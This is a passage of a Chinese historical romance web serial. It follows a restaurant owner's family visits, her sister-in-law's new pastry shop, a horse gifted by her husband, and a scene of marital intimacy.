“谢少夫人!”李氏噗通一声跪在地上,“您是我们一家的大恩人,您放心,老爷和夫人小姐我们一定照顾好。桃花,快给少夫人磕头。” 桃花跪在地上,紧接着刘达也跪了下来。一家三口郑重其事地磕了三个头才起身。 等他们出去,刘氏道:“这两天总是夫人夫人地叫我,可真不习惯。” “日子长了就习惯了,怎样?他们可听话?” “听话,刘达身子虚,你爷让他躺着养几天,他不干总是抢着做活,他媳妇也是,自打来了我就没下过厨,衣服也都是她洗的,瞧瞧这屋子,一天打扫两遍。我让她扫一遍就成,她说闲着不踏实。” 姚家就这么大地方,除了做卤味费力气,其实没多少活。三个人照顾三个人会有很多空闲时间。一空下来李氏就怕主子不高兴,便没活找活,这擦擦那扫扫。 “刚到家心里发慌情有可原,过些日子就好了。不过你们是主子,心善可以但该严厉得严厉。刘达年轻力壮,爷爷您的活让他做吧,不然他们心里不踏实。”姚轻雪怕爷爷奶奶太过善良,养大了人的胃口,时间长了奴大欺主就麻烦了。 刘氏:“买人回来不就是为了干活嘛,我们不傻,放心,我和你爷爷累不着。倒是你,几天不见怎么瘦了?在韩家吃的不好?” “瘦了吗?”姚轻雪摸摸脸颊和手腕,“没有吧?” 姚福:“你这话让孙女婿听了得怎么想?韩家咋能吃不好,人家能差孙女一口饭?” 刘氏嘀咕:“我就随便一说,瞧你还当真了。” 姚福没理她,对孙女道:“晚上在家吃饭,我去买菜。” “好,韩泽也过来。”昨晚说了她会在家里用晚膳,韩泽说过来接她一起回将军府。 “好。”姚福脸上露出笑,“孙女婿爱吃肉,我这就去买。” “爷爷呀,让刘叔和刘婶去,大冷天您就别出门了。”姚轻雪无奈,买了仆人还事事想着自己做。 “那不行,他们不知道你和孙女婿爱吃什么。买个菜累不着,你就别操心了,总在屋里待着人会憋坏的。”说着姚福推门出去。 刘氏道:“让他去吧,你是没瞧见,刘达来这几日,你爷爷没事做就把小白和鸟放一起看它们打架,然后他再劝和,说了半天鸟和猫谁都不理他那茬,该打打该骂骂,你爷爷还教小白骂回去,你说他是不是闲得慌。” 姚轻雪乐不可支,以前没发现爷爷竟然这么好玩。“等我碰见漂亮的小狗给他买一只,每日牵狗出门遛遛就当打发时间了。” “可算了吧。”刘氏不赞同,“家里就这么大地方,原本咱家几口人刚好,现在多了三口人,再来一条狗,都快装不下了。” “不怕,我让人留意将军府四周的宅子,有合适的就买下来搬过去,到时院子大了,养条狗也好看家护院。” “咱家这宅子就不便宜,将军府地界好,宅子那得多贵啊。”刘氏蹙着眉头,“雪儿,奶奶知道饕餮楼赚银子,但你还欠着皇上的没还呢。做生意有好就有坏,现在好不一定月月好、年年好,你得攒些银子。再者你现在是韩家人,不要总想着我们。这里我和你爷爷住了一辈子,没觉得不好,宅子就不要买了。” “奶奶放心,今年该还的银子差不多赚出来了,明年一年便能把所有欠款还上,买座宅子不打紧,韩家您也不用担心。将军府家大业大不会在意我孝敬您和爷爷的这点银子。何况饕餮楼是我跟皇上赊来的,银子也是我还,与将军府没有多大关系,我赚的银子爱怎么花怎么花。” “话不是这样说的。”刘氏试图说服孙女。 “奶奶,我们去接芽芽,她快下学了。”姚轻雪打断她。 俩人打开门,见李氏和桃花穿好衣服正要过来。“老夫人,少夫人,我和桃花去接小姐。” “今日不用。”刘氏道,“你们娘俩在家看家,我和雪儿去接,芽芽看见她姐一准高兴。” 姚轻雪让秋月和雨竹两个丫鬟在家,她和刘氏坐马车去芽芽的学堂。 等了约一盏茶的时间,学堂大门打开,爹娘一个个把自家孩子接走。很快芽芽和两个年纪差不多大的小姑娘有说有笑地走出来。 出门后她四处张望,寻找桃花的身影。一扭头看见姐姐站在身边。 “姐!”芽芽往姚轻雪怀里扑。【你现在阅读的是 】 100-110 第101章 第101章躺着数钱才好呢 “唉吆,慢点。”刘氏伸手扶了一下小孙女,“都是大姑娘了,稳重些。” 芽芽抱着姐姐笑弯了眼,她每天都在想什么时候能见到姐姐,乍然见到人开心过头了。 “姚轻鸿!这是你姐?”和芽芽一起出来的女孩问她。 “嗯,我姐姐。”芽芽点点头,然后小下巴抬得高高的,“糕点就是我姐做的。” “姚姐姐好!”两个小姑娘笑呵呵道,“姐姐做的点心真好吃。” 姚轻雪笑道:“改日让芽芽再给你们带!” 两个小姑娘眼睛亮亮的,“谢谢姐姐!” 坐上马车姚轻雪道:“芽芽和同伴关系不错嘛。” “起初有人不待见我,后来被吃食征服了,姐你说的对,吃人家的嘴短,他们现在对我都可好了,也喜欢跟我玩儿。”芽芽一脸得意。“先生爱吃咱家的卤味,师娘和她女儿喜欢饕餮楼的糕点,每次见了我都满脸笑。” 姚轻雪提醒她:“姐让你用吃食收买人心,是不想你被欺负,你可别用错了地方。” 芽芽去的晚,因为种种缘故她胆小,姚轻雪怕妹妹被人欺负,便偶尔让芽芽带些吃食去学堂。和她一起读书的孩子,还有先生都吃过姚家的东西。这么做效果也是立竿见影,先生对芽芽格外照顾。 “放心吧姐,我心里有数。几口吃的也就对孩子有用,出了学堂这点东西旁人可看不上眼,先生和师娘对我好,不是因为我,是因为姐姐你。”先生们都知道她姐是饕餮楼的东家,也是将军府的少夫人。 姚轻雪有些意外,芽芽竟然能看透。“你知道就好。” 姚家离私塾不远,没说几句话葫芦巷就到了。姚福和刘达买菜也回了。孙女回来姚福和刘氏高兴,非要亲自下厨,姚轻雪拗不过就随他们去了。她和芽芽在房间里说话。 晚上韩泽带了一坛酒过来,晚膳他陪姚福喝了几杯,老头很高兴。送人出门时嘱咐韩泽有空再过来喝酒。 刘氏跟孙女嘀咕:“总算有人陪他喝酒了,你瞧瞧都喝多了。” 姚福说话含糊、脚步虚浮,确实是醉了。姚轻雪让刘达搀他回去休息。 他们回到将军府已经月上树梢了。姚轻雪刚下马车,便被韩母叫了过去。来到正院,见韩母正在堂屋坐着。“母亲找我何事?” 韩母让她坐下,“莺莺说你打算把饕餮楼制作糕点的方子给她,可是真的?” “不错,饕餮楼以酒菜为主,卖出去的糕点有限,那些方子我留着着实浪费,若是妹妹想开铺子,我便把方子给她。” “你成日里忙着还想着她,难为你了。”韩母很欣慰,“不瞒你说,这三个孩子我最担心的就是莺儿,女子不易,嫁人后更难,她若有你一半心性我便不用操心了。” 姚轻雪:“母亲!妹妹还小,不懂的慢慢学就是。有您亲自教导,妹妹差不了。” “你说的有理,这些日子她跟在你身边懂事了很多也学到不少东西。我不指望她有多大本事,等将来嫁人能把她自己的日子过好,我便知足了。她想开铺子,我定然支持。” “妹妹很聪明,她想做一定能做好。”姚轻雪笑道,“我还知道别的糕点方子,过后我会逐一写下来给您。” “好、好。”韩母很高兴,“莺儿有你这个长嫂是她的福气,你放心等铺子开起来会有你一份分红。” “母亲,您这就把我当外人了。”姚轻雪戏谑道,“饕餮楼赚的我这辈子都花不完,其实我这人不贪,有饕餮楼我很知足,人生短短几十年钱财太多也没什么用。妹妹的东西就留给她自己吧,我就不掺和了。” 韩母心里五味杂陈,这个儿媳处处合她心意,还好当初没有死命地拦着,真是万幸啊。 “对了,十月九 号是玥瑶大伯哥家孩子的生辰,她们想在饕餮楼摆上一桌,但包房订不到,你表妹找到我,你看能不能匀出一个包房来给她们?” “可以,回头我让乔旺把那日留出来。” “你表妹夫家兄弟多,他又排行老三,这妯娌一多事儿就多免不了互相攀比、较劲,玥瑶也是头疼得很。”韩母挥挥手,“不说了,早些回去休息吧。” “母亲也早些休息,儿媳告辞!” 房门打开,远中立着一个身影。姚轻雪快步走过去。“不是叫你先回去嘛,站这多冷啊。” “不冷。”韩泽抓过她的手,两人并排向院外走去。 屋内的韩母哼道:“他在外面站这么久,难道是怕我为难他媳妇?” 刘嬷嬷赔着笑:“夫人您想多了,您是什么样的人大公子心里清楚得很,您就不是刁难儿媳的婆母。他们啊成亲没多久,正热乎呢,分开一会儿都觉得如隔三秋。” “这倒也是。”韩母随即又是一声冷哼,“他也有今天。”当初把她愁的,夜里都睡不好。还曾怀疑儿子是不是有什么见不得人的癖好,后来发现他没有跟谁太过亲密,几位好友也都娶妻生子,她这才放下心。 那时候韩夫人就想,他儿子这样的人成亲以后,怕是对妻子也没有多大热情。没想到她完全想错了,看来还是得碰到情投意合的人。莺儿说不想相看人家,她想再等等,那就等等吧。 “莺莺做得了生意?”韩泽对妹妹开糕点铺子表示怀疑。 姚轻雪道:“谁都不是天生就会,只要肯学没有学不到的生意经。” 韩泽转头看她:“你天生就会。” “哼,我——万中无一。”姚轻雪拍了拍胸口,然后竖起大拇指,“出得了厅堂下得了厨房,谁能和我比?娶了我你捡到宝了韩大人。虽然我比你赚得多,但韩大人你不用自卑,我的银子都给你花。” 韩泽忍俊不禁,话虽不假,但她怎么就不知道谦虚呢,他停下脚步捏了捏媳妇的脸颊:“看把你能耐的。” “嘿嘿!”姚轻雪张开双臂抱住男人的腰,“我最大的能耐是得到了你,你记住这一点就行了。” 韩泽宠溺道:“知道了。” 回到房间简单洗了下姚轻雪便钻进被窝。韩泽洗漱完,打算进一步交流时,发现她已经睡着了。刚刚哄得他心花怒放,转头就把他忘了,韩大人无奈,只好熄了灯安分睡觉。 次日姚轻雪醒来,韩泽已经上直走了。她蹭了蹭被子不想起,但想了想要做的事,她便不敢赖床了。 接下来,姚轻雪不但要打理饕餮楼,还得顾着庄子上的暖棚和猪圈。有时韩泽晚上回来得知她又去庄子了,韩大人无奈叹气却也没有办法。 半个月后总算是把菠菜种到了暖棚里。猪圈却只盖了一座,天气越来越冷,墙面不好干。大家一商量决定先建一座,养十几头小猪,明年开春再大建。 饕餮楼的生意依旧,徐成和乔旺两人配合得很好,他们把酒楼打理得井井有条,倒是姚轻雪这个东家显得没什么大用。这也正是姚轻雪想要的,能闲着谁愿意挨累,躺着数钱才好呢。 这日中午,姚轻雪正在她的小房间里休息,秋月和雨竹一个端茶,一个递果子喂糕点。她正吃着,门突然打开,韩莺兴冲冲地走进来。 姚轻雪:“什么事这么开心?” 韩莺坐到她对面,双眼亮晶晶的:“铺子已经腾出来了,这几日修缮,我要开糕点铺子了。”韩母从韩家的店铺中选了一家位置最好的给韩莺。 “嗯,这样一来下个月就能开业,年前能赚一笔。”年节前后糕点卖得最好,不然韩母也不会这么急着把铺子开起来。 “母亲也这样说。”韩莺拿了块开口酥塞进嘴里,“母亲已找到了糕点师傅,能不能让他来饕餮楼学几天?” “行,明日把人带来吧。” “谢谢嫂子!”韩莺又往嘴里塞了块蛋黄酥。嘴里的没吃完她又伸手去拿。 姚轻雪:“怎么饿成这样?” “没来得及吃午膳,咳咳、”边吃边说韩莺噎着了。秋月赶忙递上来一杯茶。 “想吃炒菜还是锅子?”来饕餮楼,还能让她饿着。 “锅子!要胡麻酱的,羊肉、山药、鱼肉丸……”韩莺一口气点了一大堆。 秋月出去没一会儿,便有伙计把鸳鸯锅端上来,片刻后韩莺点的菜也都送来。 韩莺真是饿坏了,狼吞虎咽吃了一通,等肚子里有了底她才放慢速度。她抬头看姚轻雪,“你不吃?” “饱了,不吃。”先前在厨房她尝今日的菜品,这一口那一口就吃了半饱,回来又吃了糕点,这会儿一点都不想吃饭。 韩莺又看她身边的丫鬟,秋月和雨竹齐齐摇头,“我们也不吃。”她俩跟在少夫人身边,午膳基本都在饕餮楼用。刚开始新鲜,每日都吃锅子,吃了一段日子,现在闻到锅子这股味儿就够了。 她们不吃,韩莺便招呼自己俩丫鬟坐下,两个婢女受宠若惊,以前大小姐从来不会关心她们吃没吃过饭,和少夫人在一起久了,大小姐也变得有人情味了。 主仆三人风卷残云,一桌东西吃的一点不剩。韩莺摊在椅子上:“还是饕餮楼好,有吃有喝,嫂子你不知道我这几日跟母亲四处走,张罗铺子可累了呢。” “你这也叫累?”姚轻雪不屑,“你知道饕餮楼开业前我是怎么过来了吗?每天睡三个时辰不到。什么事都得我自己张罗,想找人商量都找不到。母亲亲自带你,你就知足吧。” 韩莺振振有词:“我哪能跟你比,能者多劳所以你能开饕餮楼这么大的酒楼,我开家糕点铺子就知足了。” 这时乔旺敲门进来:“东家,大小姐!表小姐和她婆家人刚用完膳,正准备离开。” 第102章 第102章这姑嫂俩可真是对脾气…… “表姐?”韩莺疑惑,“她怎么来了?” “表小姐夫君的侄子今日生辰,刘家女眷们过来庆祝。”乔旺原来在将军府做事,对江玥瑶并不陌生。 韩莺皱眉,“我记得刘家那孩子才七岁吧,这么小用得着大张旗鼓来酒楼庆祝生辰?我们小时候都没去酒楼过过生辰。” 乔旺赔笑:“各家有各家的不同嘛。” 将军府就是京城权贵中的清流,有身份有地位但从来不摆谱。芝麻大的小官在百姓面前都有官架子,韩将军却能与村民席地而坐、同桌吃饭。所以说不能拿别人和韩家比。 “我去看看表姐。”韩莺起身。姚轻雪闲着没事,也跟了过去。 俩人走进富贵花开的包房,韩家姑嫂的身份摆在这,江玥瑶的婆婆和两个嫂子还有小姑对她们都很客气。 打过招呼后,刘家长媳段氏道:“得亏三弟妹与将军府有表亲,不然今儿我们可进不来这饕餮楼,还是我们家老三有本事,娶了三弟妹,我们也跟着沾光。” 这话明着是恭维,但却透着一股酸气,姚轻雪看了看江玥瑶。 江玥瑶脸上带着笑:“大嫂既然知道饕餮楼一座难求,可要珍惜才好。” “三弟妹这话说的,这有什么好珍惜的,一顿 饭而已。“段氏皮笑肉不笑地说道:“咱们都是亲戚,自家人想过来还能没座。再说开门做生意,咱们来饕餮楼也是照顾生意。您说我说的对吧韩少夫人。” 姚轻雪但笑不语,上门都是客,只要吃饭付银子,几句不中听的话她不会计较。 但韩莺不乐意,谁跟你是亲戚,饕餮楼还用你照顾?她刚想开口怼段氏,就听江玥瑶道:“大嫂慎言。” 江玥瑶脸上的笑容未变:“今日表嫂为了咱们拂了别人的面子,我已是感激不尽,饕餮楼做生意不能没有规矩,这种事定然不会再有下次。” 十天后是段氏亲娘的生辰,她早就嚷嚷要来饕餮楼给她母亲庆生,江玥瑶没搭话。她求姨母帮忙是给婆母面子,至于段氏娘家跟她有何关系。 两儿媳眼看要吵起来,江玥瑶的婆婆不耐烦道:“好了,都少说两句。”老太太对姚轻雪和韩莺露出歉意地笑:“平日不拘束她们,说话随意了些,见笑了。” 姚轻雪笑着颔首:“各位请慢用。”说完她转身往外走。 韩莺拉住江玥瑶的手:“表姐,上菜还得等会儿,下去坐坐吧。” “好!”江玥瑶转身给婆母福礼,“母亲,我去去就回。” 三人走出房间后,房内传来不轻不重的一声冷哼。 回到楼下的小间,韩莺气愤道:“你那个大嫂是不是有病?求人帮忙还理直气壮,二嫂想来都不好意思,她算什么东西。” “她说话不过脑子,表嫂你别跟她一般见识。”江玥瑶忐忑地看向姚轻雪,“先前是婆母开口说要来饕餮楼,我不好扶了老人家的面子才去找姨母。我去那日表搜不在家,我也不好过来找你。日后刘家再有这种事我定然不会答应。” 姚轻雪笑着问:“难道你婆婆她们吃饭不给钱?” “那倒不会。”即便段氏不拿银子,她也会把饭钱给了。本就是求人,还赖着不给钱,日后她可没脸见姨母一家人。 “给钱就行,不是什么大事,你不用紧张。”姚轻雪把秋月倒好的茶推到江玥瑶面前,“你和你那大伯嫂平时都是这么相处?” 见姚轻雪没有生气,江玥瑶松口气,端起茶抿了一口,“差不多吧。” 韩莺撇撇嘴,“表姐你脾气可真好。”换做是她可不会给她留面子。 “脾气不好能怎样?若是关系闹得太僵,于我也没有好处。”江玥瑶无奈道。 韩莺眉头紧皱,“我可不嫁妯娌多的人家。” 江玥瑶笑道:“并非妯娌多就都有龌龊,兄弟多有兄弟多的好处。后宅女人之间过招大多是言语上的交锋,笑里藏刀、绵里藏针,费些口舌罢了,沉得住气就好。” “好难哦。”韩莺噘嘴:“什么绵里藏针,我哪藏得住?弄不好先把自己扎个窟窿。” “嗯,你很有自知之明。”姚轻雪笑道,韩莺就不是忍气吞声的性子。“日后婆家人欺负你,惹得起就怼回去,惹不起就回家喊人。任何阴谋诡计在绝对实力面前都是纸老虎。” “大嫂你这话说得太对了。”韩莺一拍桌子,“惹不起就把将军府和我哥搬出来,母亲说了只要有父亲和大哥在,这辈子没几个人能欺负我。”说完她小下巴一杨,还挺得意。 姜玥瑶扶额,这姑嫂俩可真是对脾气。不过可以理解。姚轻雪虽然出身低微,但她如今有饕餮楼傍身,早已不是当初的厨娘了,韩泽又对她一心一意,她有这个底气。 韩莺就更不用说了,身为将军府的嫡女,也有任性的资本。她娘家可没有姨母家的身份低位,嫁给夫君也是高嫁,在婆家自然要谨小慎微,少出错才是正理。 坐了有一盏茶的时间,江玥瑶起身告辞。她走后姚轻雪问韩莺:“你二嫂想来饕餮楼?我怎么不知道?她想吃什么跟我说,我带回去就是,不必非要过来这边。” “前几日她问我跟你来饕餮楼都做什么?”韩莺两手拄着下巴:“我觉得她可能在家无聊,不见得是想来饕餮楼吃饭。” 韩浩在宫里当差,有时几天回不了家。韩家对儿媳没那么多规矩。韩母都不用姚轻雪请安,就更不会对庶子的媳妇有过多要求。芸姨娘性格好,对儿媳又是百般满意,是以周芸姝嫁到韩家也是过得逍遥自在。 周芸姝比在闺阁时还清闲,人一闲便会觉得无聊。尤其是姚轻雪有自己的事业,韩莺也要开糕点铺子,周芸姝就有些羡慕。但她不是韩莺,不好意思跟姚轻雪往外跑。 待到未时正,两人回到将军府。姚轻雪与韩莺分开回了自己的东院,春佟从屋里迎走出来。“少夫人,您回来了。” “嗯。”姚轻雪走进房间,刚要接下披风,瞥见屏风上搭着的黑色外衣,“大公子回来了?” 春佟:“大公子晌午就回了,还牵了一匹马,这会儿正在马厩呢。” “我去瞧瞧。”姚轻雪重新系上披风的领口,大步往外走。 香云端着热茶与她擦肩而过,她问后出来的春佟:“少夫人不是刚回来吗?急匆匆的要去哪儿?” 春佟:“自然是去找大公子,茶先放屋里,说不定一会儿俩人就都回来了。” “是!”香云将茶端进屋内。 姚轻雪穿过花园,来到马厩所在的院子。进门一瞧,踏雪正与一匹枣红色小马绕圈跑。 “哪来的小马?”姚轻雪走向场中央的韩泽。 走了几步就听身后哒哒声离自己越来越近,姚轻雪心道不好,她提起裙摆就跑。两条腿哪里跑得过四条腿,在踏雪嘴巴将要咬到姚轻雪头发时,韩泽及时出手拍了马嘴巴一下。“别闹。” 踏雪仰头打了个响鼻,转身跑了。枣红马原本是跟在踏雪后头,这会儿小马有些呆愣,站在原地不动了。 韩泽趁机牵过枣红马脖子上的缰绳,把它拉到姚轻雪面前:“你不是想骑马嘛,送你的。” “呀,你还记得啊。”姚轻雪开心道。去年她初见踏雪时很喜欢,说过想骑马,韩泽也答应给她弄一匹回来。后来因为忙她自己都忘了这茬。 姚轻雪小心地伸手摸小马的脊背,红色的毛跟绸缎似的。“真是一匹好马,北边来的吗?” “嗯。”韩泽抚摸有些躁动不安的小马,“第一批今日刚进京,我跟陛下要了一匹,今后就是你的了,起个名字吧,叫起来方便。” 姚轻雪摸着下巴想了一会儿:“赤焰如何?你看它的毛色像不像火焰?” “就叫赤焰吧,你要常过来与它培养感情,马和你才亲近,你唤它它才会回应你。”韩泽把缰绳交给姚轻雪,“带它走走,让它熟悉你。” “赤焰,我是你的主人,你要记住我。”姚轻雪牵着小马慢慢溜达,她时不时伸手抚摸小马的脖颈和背部。韩泽跟在后面,听她跟小马唠叨。 踏雪跑得尘土飞扬,一阵风过来吹得姚轻雪一脸灰,“呸呸。”她吐了两口,然后跟小马说:“赤焰你千万别学踏雪,它坏毛病一堆,还动不动就咬人,一点规矩都没有。” 已经跑走的踏雪调头跑过来。姚轻雪牵着赤焰转身大喊:“夫君,夫君救命!” 韩泽上前几步,拦住踏雪、把它赶走。他回身对媳妇道:“骑上试试?” 姚轻雪看了看跟自己还不是很熟的小马:“它会不会尥蹶子把我掀下来?” “我特意挑了匹温顺的,有我在你不用怕,我不在家你不要一个人过来骑,要有曹叔或是护卫看着才行,记住了吗?若是不听话,赤焰我收回,今后都不准你碰马。” 再怎么温顺也是战马,尤其是姚轻雪以前没骑过马,对马的习性也不了解,若是不小心惹到它,尥蹶子都是轻的,伤到人就麻烦了。 第103章 第103章“食言是小狗。”…… 姚轻雪知道轻重,没人看着她也没胆子自己骑马。韩泽扶她骑上赤焰的背。赤焰还没完全长大,没有踏雪那么高,姚轻雪坐上去只比韩泽高一点。她骑过踏雪,所以现在并不觉得害怕。 大概是第一次被骑,赤焰还不习惯,甩了几次脑袋、蹄子踏了会儿地后才逐渐安静下来。韩泽一手牵缰绳,一手扶着马背上的人。 走着走着赤焰竟跑了起来,姚轻雪兴奋不已,她终于有自己的马了,等她学会了,以后可以像韩泽上直一样,骑着赤焰去饕餮楼。 冷风迎面吹着,没一会儿姚轻雪的脸颊就红了。韩泽怕她着凉,溜了两圈便把踏雪和赤焰送回马厩。 姚轻雪挽住韩泽一条胳膊,半个身子靠在男人身上。“今日回来这般早是 为了送马吗?还用不用去大理寺?” “都这个时辰了,不去了。”韩泽侧头看她,“咱俩好些日子没有白天在一起了。”他的语气颇为幽怨。与在外人面前严肃正经的大理寺少卿判若两人。 姚轻雪也知自己这个妻子当得不称职,丈夫在外面忙碌一天,回家想要妻子的关怀体贴,结果她比他还忙,甚至几天不着家。 她的手向下,然后与他五指相扣。“都是我不好,下次你休沐我在家陪你,保证不去饕餮楼也不出城。”她还煞有介事地举起另一只手:“食言是小狗。” 韩泽轻笑出来,自己并非生她的气,只想她在忙着赚银子之外多想想他。 两人慢悠悠走着,路过花园时,姚轻雪看向树顶上挂着的柿子。韩泽顺着她的目光看过去,想起去年冬天她来将军府时就惦记这果子。韩大人找了块小石子,站在树下瞄,随后手一甩,只见高不可摘的柿子从细细的树枝上落下。 姚轻雪正要欢喜,就见落地后的柿子碎得稀巴烂,橙红的汁水溅得哪都是。 姚轻雪:“……”还不如放在树上留给鸟吃呢。 秋月跟雨竹耳语了两句,然后她从岔道走开。等姚轻雪和韩泽慢腾腾回到屋里,见桌子上摆了一盘刚洗好带着水珠的柿子。她洗了手拿起一个就咬。软软的果肉,甜滋滋的:“好吃。” “秋月姐刚拿过来。”香云道,“果子放在仓库里,有些凉,少夫人您少吃些,免得受凉肚子不舒服。” “嗯。”姚轻雪点头,心想秋月真贴心。她院里的四个婢女都不错,她看向香云:“明日我把上个月的账拿回来,你和雨竹一起对账。” “是,少夫人,我和雨竹定会认真做。”香云福礼,心中激动,少夫人终于要用到她们了。府中多的是丫鬟,只有有大用处的丫鬟才不会轻易被替代。 香云退出房间,韩泽换好衣服从屏风后走出来。“不是叫你少吃吗?怎么吃起来没完。”桌上摆了一个果蒂,媳妇手上还拿一个,这肯定不是吃了一个。 “太好吃了,没忍住。”姚轻雪又咬了一口,韩泽欺身上来,把她刚咬进嘴里的果肉吸了过去。 饶是亲密的事做过很多次,姚轻雪也是脸一红,嘟囔道:“这么多呢,偏要跟我抢,还抢、”她话没说完,嘴巴再次被堵住。 韩泽好好品尝了一番她嘴里的滋味后道:“嘴里的更甜。” 姚轻雪举起两只拳头往他肩上锤,“学坏了,跟谁学的?” “无师自通。”说完韩泽将人拦腰抱起往床边走去。 前些日子姚轻雪忙,晚上沾床就睡着,他不忍心搅她好眠,已经素了好几天。两人才成亲没多久,他又没有毛病,再忍下去可真要出毛病了。 姚轻雪自知理亏,便也没有拒绝。只是她看看外面还大亮的天,实在不好叫几个丫鬟听见主子白日在屋里做这档子事。 止住韩泽扒她衣服的手,姚轻雪下床走到外门说了两道复杂的菜,让几个丫鬟去准备,她要休息会儿,让她们不要过来打扰。 插好门姚轻雪走回来,看见床上的人顿时脸红心跳,她脑中蹦出一个词——玉体横陈。只见韩大人一手拄着头,眼含春色地望向她,他的里衣松松垮垮,露出大片肌肤。结实的胸膛,姚轻雪摸了无数遍,每次都令她爱不释手。 知道不会有人来打扰,姚轻雪胆子也大了起来。她眼睛跟钩子似地看着床上的男人,然后慢慢地、一件一件脱衣服。 韩泽只觉得气血上涌、呼吸急促,他起身想要加快床下之人脱衣的速度。刚把手伸出去,就被姚轻雪不轻不重地拍了一下。随后韩大人被娇嫩的食指轻轻一推,他顺势倒在了床上。 在男人快要冒火的目光下,姚轻雪终于只着一件小衣,她上床跨坐在韩泽的腰上。手指在他胸口的皮肤上游走,如蛇一般。 韩泽感觉好似有一团火在体内烧着,他几乎忍耐到了极限,伸出手却又被她拍掉。 “莫急,往日都是你出力,今日你就给我好好躺着。”说完姚轻雪俯下身亲了下。 正当韩泽要加深这个吻时,姚轻雪在男人下巴上轻轻咬了下,然后是喉结、脖子、胸口,一路向下……屋内很快传出令人耳红心跳的娇喘。 火是姚轻雪勾起的,最开始主导权也在她手上,可最后累得如一滩烂泥的也是她。 尝到了甜头的韩泽,想着下次休沐找个由头把丫鬟们都打发出去,放开了的媳妇让他欲罢不能。哪成想休沐这日还不等他赶人,韩母就差人来找姚轻雪。 原来是韩莺的糕点铺子修缮的差不多了,内部格局也做了,韩母想让姚轻雪去店里看看、给把把关。 姚轻雪:“正好今日没什么事,我随母亲和妹妹走一趟。” 韩母笑道:“那就辛苦你了,莺莺信你,你看过她才放心,她都信不过我呢。” “才不是信不过母亲,是大嫂懂得更多。”韩莺道。 “好好,你说什么就是什么。”韩母看向儿子,“你从过来就摆个臭脸,谁惹你了?” 韩泽不悦道:“我好不容易休息一日,母亲还要把人带走。” 韩母:“……”合着是气她抢了他媳妇呢。“瞧你这点出息,一个时辰,一个时辰就把人给你送回来。” “母亲,您别听他胡说。”姚轻雪觉得尴尬,转头瞪了一眼韩泽,那意思:知不知羞? 韩泽无所谓,“一个时辰,母亲记住了,我先回去了。” 韩母看着儿子离去的背影摇了摇头,起身道:“走吧,快去快回。” 糕点铺子姚轻雪给了很多建议,饶是韩母打理家中众多铺子,经验丰富,也是没有姚轻雪的花样多。经过儿媳指点后,韩母几乎可以预料,女儿的铺子不久之后将在京城声名鹊起。 韩莺的糕点铺在十二月一日开张。与饕餮楼不同,这次韩母并未大张旗鼓地拉亲戚过来撑场,而是按照姚轻雪给的法子做宣传。 另外在开业前几日,去饕餮楼消费的食客都会得到一张免费券,用这张券就可以去韩莺的铺子领取一份饕餮楼没有的点心。 有些人对这张券不屑一顾,而出于好奇顺路去领的人,大多会买些别的糕点带回家。如此一来,饕餮楼给韩莺带去不少客人。 开张这天热闹非凡,韩家众人都到了,久不出宅门的韩祖母都过来坐了会儿。虽然没有通知亲朋,但知道信儿的熟人都过来捧场。 趁午休过来的韩泽见芸姨娘、周芸姝和韩娇都在,他便把姚轻雪拉走了。气得韩莺 跟母亲告状:“你看看大哥。” 韩母宽慰道:“走就走吧,你大嫂帮你已经够多了,今后这家店得你自己管着,今日便是开始。” “我知道。”韩莺嘟囔。大嫂在她心里踏实些,不过母亲说的对,不能什么事都依赖大嫂,她打理饕餮楼已经够忙了,不然大哥也不会一有空就把着人不放。 两人离开糕点铺子,并未急着回家,在得知韩泽下午不用去上直,姚轻雪要他陪自己逛逛。 韩泽只想和她单独在一起,至于去哪儿都无所谓。俩人进了一家银楼,姚轻雪看上了一条红宝石的璎珞,一问价钱竟然要三千两,她倒吸一口冷气。 店主见她似乎嫌贵,但看她穿着又不像买不起的样子,便耐心解释:“这么大个头和成色的红宝石很少见,京城不会再有第二块,珍贵无比,您买回去不亏,都可以当传家宝了。” 宝石很美也够大,但花三千两买下来,目前姚轻雪还做不到,她还没有富到流油的程度,将来等还完债或许可以。最后她花了二百两给自己买了两件中等价位的首饰。 走出银楼,韩泽道:“那块宝石的确难得,喜欢就买下来。” 姚轻雪一言难尽地看着他,韩泽虽然不乱买东西,但对花钱真是没啥概念,这大概是因他从小生活富足,手里没缺过银子。另外他对金钱也不是十分看重,他的私房钱全都给她用了。领了薪俸也是第一时间问她银子够不够用。 “看着还行,也没有很喜欢,买了也不好带出去。”她带那么贵的首饰在店里晃悠,让客人和手下怎么想?有些事该低调还是得低调。 第104章 第104章冰屋 两人沿着街边慢慢溜达,碰见喜欢的小食姚轻雪便买来与韩泽分着吃。两人外表都不差,尤其是韩泽还穿着大理寺的公服,引得路人频频侧目。 姚轻雪挨近他:“她们定是羡慕我有这样英俊的夫君。” 韩泽侧头垂眸:“你怎知是羡慕你,而不是眼红我找了一位漂亮娘子?” 姚轻雪被他夸得娇笑不已。夫妻俩紧挨着,说悄悄话。身后跟着的雨竹悄声说:“大少爷和少夫人感情真好。” 少夫人势微,按常理这样的妻子在丈夫面前应是谨小慎微,小心地伺候丈夫。但事实并非如此。姚轻雪对大少爷并没有因身份高低产生的尊卑感,有时大少爷还要迁就少夫人。这样的相处,即便是韩将军和韩夫人也是没有的,韩夫人虽有自己的脾气,但仍处处以韩将军为主。 秋月道:“这是自然。” 旁人都是父母之命媒妁之言,成亲前见不了几次面,更谈不上互相了解。大少爷和少夫人是在慢慢相处中才生出情来,感情自然不一般。更重要的是韩泽向来尊重姚轻雪,从来没有把她当做附属。 穿过街市,几人沿着河边继续走。马上要进腊月了,此时河水已经冻得很结实,孩童们坐着爬犁在冰上玩耍,清脆的笑声和叫声此起彼伏。 见她站那盯着冰面,眼中露出渴望。韩泽走下去来到几个孩子跟前。姚轻雪见他掏出一把铜板说了什么,然后几个孩子接过铜板一窝蜂地往岸上跑。 韩泽对她招招手,姚轻雪提着裙摆小心地走过去,指着爬犁道:“买下来了?” “租了半个时辰,他们去买糖葫芦了。”韩泽蹲下来检查爬犁是否牢固,然后起身:“挺结实,你坐也没问题。” “什么叫我坐也没问题?”姚轻雪不乐意了,嘟着嘴道:“我很胖吗?” 韩泽无奈,“我不是那个意思,再怎么瘦你也是大人,能跟孩子比?”爬犁就几根粗木棍绑在一起,若是不够结实,他断不敢让她坐上玩儿。 知道自己误会他了,姚轻雪有些难为情,但她才不会道歉。“我要坐,你推我。” 秋月和雨竹想把夹袄脱下来垫在爬犁上,姚轻雪摆摆手,“没那么娇气,我穿得厚不冷。” 